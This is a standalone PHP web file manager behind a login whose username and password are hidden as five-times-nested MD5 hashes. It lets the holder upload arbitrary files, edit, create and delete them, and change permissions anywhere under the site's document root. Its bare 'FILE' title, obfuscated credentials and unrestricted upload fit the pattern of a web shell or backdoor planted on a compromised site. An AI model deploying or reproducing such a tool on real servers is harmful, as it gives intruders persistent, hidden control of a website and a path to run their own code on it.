<?php
session_start();

define('SESSION_LIFETIME', 1800);

define('ADMIN_USER', '7f8504c1c6ebed3ffe232ece3d22d07c');
define('ADMIN_PASS', '9552b3436bb25daa7977d97d8187873d');

if (isset($_SESSION['authenticated']) && (time() - $_SESSION['authenticated_time'] > SESSION_LIFETIME)) {
    session_unset();
    session_destroy();
    header("Location: {$_SERVER['PHP_SELF']}");
    exit;
}

if (!isset($_SESSION['authenticated'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['username']) && isset($_POST['password'])) {
        if (md5(md5(md5(md5(md5($_POST['username']))))) === ADMIN_USER && md5(md5(md5(md5(md5($_POST['password']))))) === ADMIN_PASS) {
            $_SESSION['authenticated'] = true;
            $_SESSION['authenticated_time'] = time();
            header("Location: {$_SERVER['PHP_SELF']}");
            exit;
        } else {
            $error = "error！";
        }
    }
    echo '<!DOCTYPE html>
    <html lang="en">
    <head><meta charset="UTF-8"><title>FILE</title></head>
    <body>
    <h2></h2>
    <form method="POST">
        U：<input type="text" name="username" required><br>
        P：<input type="password" name="password" required><br>
        <button type="submit">GO</button>
    </form>
    <p style="color:red;">' . (isset($error) ? $error : '') . '</p>
    </body></html>';
    exit;
}

$rootDir = $_SERVER['DOCUMENT_ROOT'];
$dir = isset($_GET['dir']) ? realpath($rootDir . '/' . $_GET['dir']) : $rootDir;

if (!$dir || strpos($dir, $rootDir) !== 0) {
    die("Illegal access");
}

$files = array_diff(scandir($dir), array('.', '..'));

if (isset($_POST['delete']) && isset($_POST['file'])) {
    $file = realpath($dir . '/' . $_POST['file']);
    if ($file && strpos($file, $rootDir) === 0) {
        if (is_dir($file)) {
            if (count(scandir($file)) === 2) {
                rmdir($file);
            } else {
                $error = "Folder is not empty!";
            }
        } else {
            unlink($file);
        }
        header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode(isset($_GET['dir']) ? $_GET['dir'] : ''));
        exit;
    }
}

if (isset($_FILES['file'])) {
    $uploadPath = $dir . '/' . basename($_FILES['file']['name']);
    if (strpos($uploadPath, $rootDir) === 0) {
        move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath);
    }
    header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode(isset($_GET['dir']) ? $_GET['dir'] : ''));
    exit;
}

if (isset($_POST['chmod']) && isset($_POST['file']) && isset($_POST['mode'])) {
    $file = realpath($dir . '/' . $_POST['file']);
    if ($file && strpos($file, $rootDir) === 0) {
        chmod($file, octdec($_POST['mode']));
        header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode(isset($_GET['dir']) ? $_GET['dir'] : ''));
        exit;
    }
}

if (isset($_POST['save']) && isset($_POST['file']) && isset($_POST['content'])) {
    $file = realpath($dir . '/' . $_POST['file']);
    if ($file && file_exists($file) && is_writable($file) && strpos($file, $rootDir) === 0) {
        file_put_contents($file, $_POST['content']);
        header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode(isset($_GET['dir']) ? $_GET['dir'] : ''));
        exit;
    }
}

if (isset($_POST['create_file']) && isset($_POST['file_name'])) {
    $fileName = $_POST['file_name'];
    if (preg_match('/^[a-zA-Z0-9_\-\.]+$/', $fileName)) {
        $filePath = $dir . '/' . $fileName;
        if (!file_exists($filePath)) {
            touch($filePath);
            header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode(isset($_GET['dir']) ? $_GET['dir'] : ''));
            exit;
        } else {
            $error = "File already exists!";
        }
    } else {
        $error = "Invalid file name!";
    }
}

if (isset($_POST['create_folder']) && isset($_POST['folder_name'])) {
    $folderName = $_POST['folder_name'];
    if (preg_match('/^[a-zA-Z0-9_\-\.]+$/', $folderName)) {
        $folderPath = $dir . '/' . $folderName;
        if (!file_exists($folderPath)) {
            mkdir($folderPath, 0755);
            header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode(isset($_GET['dir']) ? $_GET['dir'] : ''));
            exit;
        } else {
            $error = "Folder already exists!";
        }
    } else {
        $error = "Invalid folder name!";
    }
}

if (isset($_GET['logout'])) {
    session_unset();
    session_destroy();
    header("Location: {$_SERVER['PHP_SELF']}");
    exit;
}

?>
<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>FILE</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { padding: 10px; border: 1px solid #ddd; text-align: left; }
        th { background: #f4f4f4; }
        .btn { padding: 5px 10px; text-decoration: none; color: white; border-radius: 3px; border: none; cursor: pointer; }
        .btn-danger { background: red; }
        .btn-primary { background: green; }
        .btn-edit { background: blue; }
        .btn-view { background: orange; }
    </style>
</head>
<body>
<h1>FILE</h1>
<p><a href="?dir=">Return to root</a> | <a href="?logout" class="btn btn-danger">Exit</a></p>
<h2>Current directory: <?php echo htmlspecialchars(str_replace($rootDir, '', $dir)); ?></h2>

<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file" required>
    <button type="submit" class="btn btn-primary">UPLOAD</button>
</form>
<br>
<form method="POST">
    <input type="text" name="file_name" placeholder="Filename" required>
    <button type="submit" name="create_file" class="btn btn-primary">Create file</button>
</form>
<br>
<form method="POST">
    <input type="text" name="folder_name" placeholder="Folder name" required>
    <button type="submit" name="create_folder" class="btn btn-primary">Create folder</button>
</form>

<table>
    <thead>
    <tr>
        <th>Filename</th>
        <th>Size</th>
        <th>Auth</th>
        <th>Modification Time</th>
        <th>Controls</th>
    </tr>
    </thead>
    <tbody>
    <?php foreach ($files as $file):
        $file_path = realpath($dir . '/' . $file);
        $permissions = substr(sprintf('%o', fileperms($file_path)), -4);
        $modification_time = date("Y-m-d H:i:s", filemtime($file_path));
        ?>
        <tr>
            <td>
                <?php if (is_dir($file_path)): ?>
                    <a href="?dir=<?php echo urlencode(str_replace($rootDir . '/', '', $file_path)); ?>">📂 <?php echo htmlspecialchars($file); ?></a>
                <?php else: ?>
                    <?php echo htmlspecialchars($file); ?>
                <?php endif; ?>
            </td>
            <td><?php echo is_file($file_path) ? filesize($file_path) . ' KB' : '-'; ?></td>
            <td>
                <form method="POST" style="display:inline;">
                    <input type="hidden" name="file" value="<?php echo htmlspecialchars($file); ?>">
                    <input type="text" name="mode" value="<?php echo $permissions; ?>" size="4">
                    <button type="submit" name="chmod" class="btn btn-primary">edit</button>
                </form>
            </td>
            <td><?php echo $modification_time; ?></td>
            <td>
                <?php if (!is_dir($file_path)): ?>
                    <a href="?view=<?php echo urlencode($file); ?>&dir=<?php echo urlencode(isset($_GET['dir']) ? $_GET['dir'] : ''); ?>" class="btn btn-view">view</a>
                    <a href="?edit=<?php echo urlencode($file); ?>&dir=<?php echo urlencode(isset($_GET['dir']) ? $_GET['dir'] : ''); ?>" class="btn btn-edit">edit</a>
                <?php endif; ?>
                <form method="POST" style="display:inline;">
                    <input type="hidden" name="file" value="<?php echo htmlspecialchars($file); ?>">
                    <button type="submit" name="delete" class="btn btn-danger" onclick="return confirm('Are you sure you want to delete \'<?php echo htmlspecialchars($file); ?>\'?');">del</button>
                </form>
            </td>
        </tr>
    <?php endforeach; ?>
    </tbody>
</table>

<?php if (isset($_GET['edit'])):
    $edit_file = basename($_GET['edit']);
    $edit_file_path = realpath($dir . '/' . $edit_file);
    if ($edit_file_path && file_exists($edit_file_path) && is_writable($edit_file_path)):
        $content = file_get_contents($edit_file_path);
        ?>
        <h2>editfile: <?php echo htmlspecialchars($edit_file); ?></h2>
        <form method="POST">
            <textarea name="content" style="width:100%; height:300px;"><?php echo htmlspecialchars($content); ?></textarea>
            <input type="hidden" name="file" value="<?php echo htmlspecialchars($edit_file); ?>">
            <button type="submit" name="save" class="btn btn-primary">save</button>
        </form>
    <?php endif; endif; ?>

<?php if (isset($_GET['view'])):
    $view_file = basename($_GET['view']);
    $view_file_path = realpath($dir . '/' . $view_file);
    if ($view_file_path && file_exists($view_file_path) && is_readable($view_file_path)):
        $content = file_get_contents($view_file_path);
        ?>
        <h2>viewfile: <?php echo htmlspecialchars($view_file); ?></h2>
        <pre><?php echo htmlspecialchars($content); ?></pre>
    <?php endif; endif; ?>
</body>
</html>